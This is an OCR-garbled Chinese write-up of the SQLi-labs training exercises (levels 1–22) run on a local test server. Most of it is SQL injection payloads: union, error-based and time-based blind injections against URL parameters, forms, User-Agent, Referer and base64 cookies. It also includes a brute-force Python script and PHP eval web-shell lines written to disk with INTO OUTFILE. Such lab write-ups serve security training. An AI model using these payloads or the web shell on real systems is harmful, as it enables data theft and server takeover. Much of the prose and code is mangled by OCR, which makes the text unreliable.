SQLI LABS Basic Part(1-22) WriteUp
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Less-1:
RS Rid, HAIEE.
HMRARZHFEIE R ZRF R A

?id=1 and 1=2--%20
?id=1"' and 1=2--%20

SGRIEAR TR B,
RIE— R i EeE, order by 34 LR,
payload:

?1d=100"' union select 1,user(),database()--%20

Welcome
Your Login name:root@localhost
Your Password:security

Less-2:
5E—@—F, RAAIEANZMER . payload:

?id=100 union select 1,user(),database()#


https://blog.csdn.net/weixin_34085658
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/litlife/p/8519794.html

Welcome
Your Login name:root@localhost
Your Password:security

SERIES-2

less-3:
XIEBA RFE, HEBRSRAEE, fitorder byRAANE T . RiFfEHand, #payload3fE R ~andH [d] .
HRIRBAR, EiIR— FextractvalueiRiEiFE A :

?id=1' and (extractvalue(1,concat(®x7e,database(),0x7e))) and '1

. o B850 KREFW

Welcome
XPATH syntax error: '~security~"

SERIES-3

BAA mAERE, BEREEIERT. o o TR, BHENLRE, REHE S — FPythonEEMA, EErHk
%, payload X #E:

?id=1' and (select(if(substring(database(),1,1)='a',1,0))) and '1

i R database() & F & RZalliR BidATHKA T, HUEREZ. BHADT:



#!/usr/bin/env python3
import requests
if __name__ == '__main__
url = 'http://127.0.0.1:85/sqli-labs-master/Less-3/"
word = 'abcdefghijklmnopqgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '
flag = "'
index = 1
while(1):
for i in word:
payload = '?id=1\"' and (select(if(substring(database(),{},1)=\"{}\',1,0))) and \'1l'.format(inde
req_url = url+payload
print(req_url)
res = requests.get(req_url)
#print(res.content)
if 'Dumb' in res.content.decode('utf-8'):
flag += i
print(flag+'\n')
index += 1

break
elif(i == '_"):
prlnt( HEHHEHE )
print('Got it!")
print('Flag: '+flag)
exit()
else:
continue
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Less-4:
AT LB EAZ, BH—THEIE, % kpayload:

?id=1 and ©

L2 B RDumb, B8] 5 /7R

?id=1' and '@

#KIH & 7~Dumb, #pEX 3|5

?id=1" and "o



RRANEREE T, WHFERT SFREEN, ERREE:

?id=1" and (uploadxml(1,concat(®x7e,database(),0x7e))) and "1

Welcome
FUNCTION security.uploadxml does not exist

SERIES-4

XL A W] A F less-3HI A, MMUBEC T AT 1. A Mlooriik 4

?id=1' and (select count(*) from information_schema.tables group by concat(floor(rand(®)*2), database())) a

Welcome
Duplicate entry "1security’ for key 'group key'

less-6:
W RF®ES, 14 extractvaluedf 4t

?2id=1" and (extractvalue(l,concat (0x7e,database(),0x7e))) and "1

Welcome
XPATH syntax error: '~security~"

less-7:
R UL AHIEFZE, Blless-3MEF. (EHR21X—@is@2outfile, WElRZERA—TEXH. outfileHiEwT:

select '<?php @eval($ GET["gaga"]);?>' into outfile 'RootPath\\gaga.php';

FHEXAMEAIBAS — A% F Ngaga.phpll —AliE D . XEIBAARESE—andE, FrUARERHZRTH
payload, FERHAIHEMIEA M-S, MunioniE#:. payload:



?id=1")) union select 1,2, '<?php @eval($ GET["cmd"])?>' into outfile
"H:\\a.php'--%20
o » IWEEEE s i (H2)

.~ v EMAE 2w

B achp 2018/3/6 21:46 PHP Izt

() SW\(E) WRS) WAV) WWPN) BEHL) REM ITRO) EM) EFR) WEE) BOW)
SHE S LE s b/ ay 2% BE 1 EI@He®
JMH‘

{1 Dumb Dumb

? 1 2 <?php @eval (5_GET ["gmd"]) 2>

3
3

TERBANEZREE—T, WA AIEmysqldr 17 71 H ik itoutfilefe N e, tHF & #&Rsecure_file_privi
KR, XEFE AmysqlIEE B SO XS XM SC#T T IRE . R FEITFFMysqlit B SCAE(my.ini), 78
[mysqld] F & n—47:

secure file priv =
BRTT. 285 E 5 Mysql.

less-8:
¥ Flless-3HIBIE AT .. ps:BUEA K, less-3iZHunion selectEEEHIE B R K, RUNIHKNE

less-9:
BHRRNMEAZTHENEE. AFEERFHNEECEHER, HWE T FpayloadiiREI4R:

?id=1 and 0 ?id=1"'" and '0 ?id=1" and "0

RIEHMREYou are in.....", ZRH2R. « BT RGN, 4 KN, NEBANELHE, #&EX—4,
RA—RAR, MENRERKEXAEN THa2 M, RiUXADZREEN S EFRAE 2.
o NEMT, BERU T REEK, BN sleepEE:

?id=1 and sleep(5) and 0 ?2id=1' and sleep(5) and '0 ?2id=1" and sleep(5) and "O

ZWREIM, RERF| SiEFALSEIRSs, FrOlX2— AN ShEEE, fHM— Fless-31A_R1,
payload if) W s Thik B #1250 [Elsleep(5), BR:

?id=1" and (select (if (substring(database(),1,1)="s',sleep(5),0))) and '1



less-10:
XK i, BETEFirefoxiiish] & MINetworkiE sk EHTTPIE R, BmNaKE, EEHE:

Welcome
You are in...........

' T g M : —..”

z 2 A r8 2 £ 4 oo ok F
@ 3 Inspector Console (O Debugger {} Style Editor (G Performance £k Memory = Network & Storage @ HackBar @ Adblock Plus B8 B =0 ¢
oW HTML CSS JS XHR Fonts Images Media WS Other [JPersistlogs []Disable cache Filter URLs

Status Method File Domain Cause Type Transferred Size 9 ms i1024s  [2048s  [3072s  |40.9¢ Headers

® 200 GET /sqli-labs-master/Less-10/?id=1 and 0 127.0.0.1:85 document html 909 B 668 B 1010 ms Request Ul
—— Bl
B Bk Request m
® 200 GET /sqli-labs-master/Less-10/%id=1" and '0 127.0.0.1:85 other hitml 909 B 668 — 1011 ms Remotelad
= g Status cod'
/sqli-labs-master/Less-10/2id=1" and "0 @ 127.00.185 8 other

Version: H
Filter he
Response
Conne
Contel
Conter

B, XRAEXNGISEN, Fless-9, A, payload:

?7id=1" and (select (if(substring(database(),1,1)="s',sleep(5),0))) and "1

less-11:
XRE—NEFAM. LR TR EmE"

username=admin' or '1

password=abc

RREFERY, WHRRIISEN. R— THRIEUEEALRE:

username=aaa'
password=bbb

TR B —ANSQLIBEAE R . T H B FHorder byE T 5%, 25150 K 820 Aikes. Bk, payload:

username=aa' union select user(),database()#

password=bbb

less-12:
%?ﬁi—‘W:f&%ﬁ:



username=aaa"
password=bbb

Usemamme:
password:

Submit

BARWAE T, MIRES B A LAE Husernameflipassword R E—NMES B, bl Sless-11ZAR%L, HAHEEZ
J5f Forder by#R 21514, &5 FunionHX ¥z :

username=aa") union select user(),database()#
password=bbb

less-13:
BREIJLE—FE, BiR—THAREREEE:

username=admin'
password=bbb

X BB R, BEREEE, FREMRGE-NESEN, MUEANZEREAE, fless-12EARZ.
Hiless-12FHIERE, MXEREH, U AGRETHNEGET . payload:

username=admin') union select 1, (select(if(substring(database(),1,1)="s"',sleep(5),0)))#
password=bbb

A i less-3ME 5 — T BT .

less-14:

WISHG, SEEEHTLRE:

username=admin"
password=bbb

R T, XR—MEEER, ATEBERESHRK—R, X35 BAEadmIng] & :



username="admin
password=bbb

MERHERIAXASQLEAIRATES, FUERAXGISHAEGMRE T, REL—E—k:

username=admin"” union select 1, (select(if(substring(database(),1,1)="s"',sleep(5),0)))#
password=bbb

less-15:

SR TR -

username=admin’
password=bbb

WHEEA RS, X5 SHAT. BRIFRYERTEFRIRHAW T .

username=admin' and '1
<div>password=admin' and '1

W B RERRT), WHREERS]SEAN. iorder by:

username=aaa' order by 1#
password=bbb

BRGEFRW. BN Zorder by i, T Zaaalnl@, HHBEH—T:

username=aaa' or 'l' order by 1#
password=bbb

bingo, BEFTN. FiXEBRETHEJLEWE 8T, unionfEiEk:

username=aaa' or 'l' union select 1,(select(if(substring(database(),1,1)="s"',sleep(5),0)))#
password=bbb

EZ B BBV AS A TR S5O At !

less-16:
ME—@B—, XASEET NG 5. payload:

username=aaa") union select 1, (select(if(substring(database(),1,1)="s",sleep(5),0)))#
password=bbb



less-17:

XERATJLEA—FE, AiRE 2selectE#], X —EBHEN, M2 B%EE(updateitq)). E— T
BN, XfusernameFBi#AT 7L, fEH T mysql real_escapt_string()id i€ T 51 5 M JIAMF—RZ /T X T
passwd 7B & B AL IER, FrLAXBE passwd T F. oA

username=admin
password=a'

MR Bl T —ANSQLIBWEAE R, BEREEEMT T . AL EN. payload:

username=admin
password=admin'%26%26(extractvalue(1l,concat(0x7e,database(),0x7e)))%26%26"'1

%26 &Hurlgmts, &&FandifE M .
[PASSWORD RESET]

User Name 2 |

New Password : |

Submit

XPATH syntax error: '~security~"

less-18:

XBAREE, R TRBENEN, BEREAFBERFEAR, REREEERT. 7 —Thh&E, FEXRE
User-Agentif N . B—FHUAUX R RFERKEE, KERGEZRECHFREIEET . . EHTTPLK
User-AgentZ B E M 85| Sl R IIREE T . BB E—@—#F, Hextractvalueti 4 :

User-Agent: ******' gand (extractvalue(l,concat(®x7e,database(),0x7e))) and '1



less-19:
BRE—@——F, RATENSZRT referer.

Referer: http://127.0.0.1:85/sqli-labs-master/Less-19/"' and (extractvalue(1,concat(0x7e,database(),0x7e)))

less-20:
Bx2JEEa~cookiefs B, FTAXBEMNL ZcookielENT, M LELHRZRHENS:

Cookie: uname=admin' and extractvalue(1,concat(@x7e,database(),0x7e))#; PHPSESSID=d1a694049bcr9af8dlokémn74

SERIES-20

YOUR IP ADDRESS IS : 127.0.0.1

DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin' and extractvalue(1,concat(0x7e,database(),0x7e))# and expires: Fri 09
Mar 2018 - 15:31:13

Issue with your mysql: XPATH syntax error: '~security~'

less-21:

—JF 45— FBurpSuiteff)Repeaterti R # T E R, AT TR R—ERAFEBY, —REBEHRAE, J5RMAMHE
T—HRAANEIWriteUp, EIARRERBN KL, REBEHEHK. XERBurpSuitefI X 72, BurpSuiteF X #F
jSHITRE Bk, FrULAFREEENKS FEREE, MBPHBLAARER. ok, THEHHALE, BER—-IMERER
M, MARHPEMEEERZEEEREless-20EAZ A H . B EiRusernamefpassword 2 & A BLEAN .

username=admin' and '1&password=admin
username=admin"” and "1&password=admin

AT, RAAT. IULERREEAL EREAART T . BRZEER T —delete cookiefJ#Z 4, FrLA
X% H N %5 cookie K. FEE R T H AR —T-

GET /eqli-labs-master/Less-21 /index.php HTTRP/1.1

Heost: 127.0.0.1:85

User-Agent: Mozilla/5.0 (\Windows NT 10.0; Wing4; x64; nn58.0) Gecko/20100101 Firefox/58.0
Accept: text/html application/<html+xml application/=ml;g=0.9*/*:q=0.8

Accept-Language: en-U5.en;q=05

Referer: http://127.0.0.1:85/sqli-labs-master/Less-21 /index php

| ]
Cookie: uname=Y VREta\Wd %3l
Connection: close

Upgrade-Insecure-Requests: 1



R ERIRR, BERE—MHAAERHTTPIER, mMZhz/akElcookie, JHIUMEF&H — sk, %
HREGTE, XMERPALEXKE, cookiesf 2% —KINIEERIEE fcookie. J& & X IX—KHTTPER
HIZEERE T RBIBEE FEH ERETAEN LRAHLKEHE, FUBH#REES, BUREHEIR, X—FE
A] LAFEARRS F 45 B S -

if(!isset(5_POST[' 1))

. date(5format, Stimestamg
scookee = baseb4_decode (5cookee) ; =
echo ?
$aql=’ [ '3 kee ;
sresult=mysql query(5sqgl); T TE——
if (!Sresult)
die ( ] ' . mysql error()):;

srow = mysql fetch array(Sresult):;
if (Srow)
echo
echo ' :'. Srow|
echo

echo ' ;
echo ' JSrowl’

B AVEN At it fEcookieiXil 7. XEFAERM AL, AL EEFuname=YWRtaW4%3d, unameff)ix/ME
& Hadmin&idbase644wtiy, AEHHATUNGRLZ EHEBIN, BT ARATE S payload f By 15 th B 3 171X L4k .
THEFATIR, itadmin/EEHII—N R 5] 5K, uname=YWRtaW4n, TR HE :

3QLI DUMB SERIES-2 1

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date default timezone set() function. In case you used any of those
methods and you are still getting this warning, you most likely misspelled the timezone identifier. We
selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in
H:\PHPStudy\PHPTutoria\WWW\sqli-labs-master\Less-21\index.php on line 142
YOUR COOKIE : uname = YWRtaW4n and expires: Sun 11 Mar 2018 - 16:14:37

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near "admin’") LIMIT 0,1" at line 1




JEEMESE T, BAERMB AT UL H e m k% SR/m T .
ps5E T 7 R B @A 8 & dump intofile, Aid®A4AXH, FEARIKRE T EEEERISLE )L~

payload:
uname=admin') union select 1,2, '<?php phpinfo()' into outfile 'C:\\a.php'#

23 357
uname=YWRtaW4nKSB1bmlvbiBzZWx1Y3QgMSwyLCc8P3BocCBwaHBpbmZvKCknIGludG8gb3VeZmlsZSAnQzpcXGEucGhwlyM%3D

1 1.dat 2017/6/6 0:37 DAT S04 1 KB

e a.php 2018/3/11 23:34 PHP 374t 1 KB

AMTAG.BIN 2017/11/517:11 BIN =744 1 KB
less-22:

B E—@—F, HR—4 cookielE . Zikpayload:

uname=YWRtaW4nIGFuZCAnMQ%3D%3D (admin' and '1#{Tbase64FHi#{Turlencode) ===>>> i&[El "you silly hacker..."

uname=YWRtaW4iIGFuzZCAiMQ%3D%3D (admin" and "1#HTHE EIE) ===>>> REIEHEER

AUEH, XERE—E—f, ARLE—-EBRATSEAN, MX—EEMNG]SEN.

#43,Fhttps://www.cnblogs.comVlitlife/p/8519794 .html
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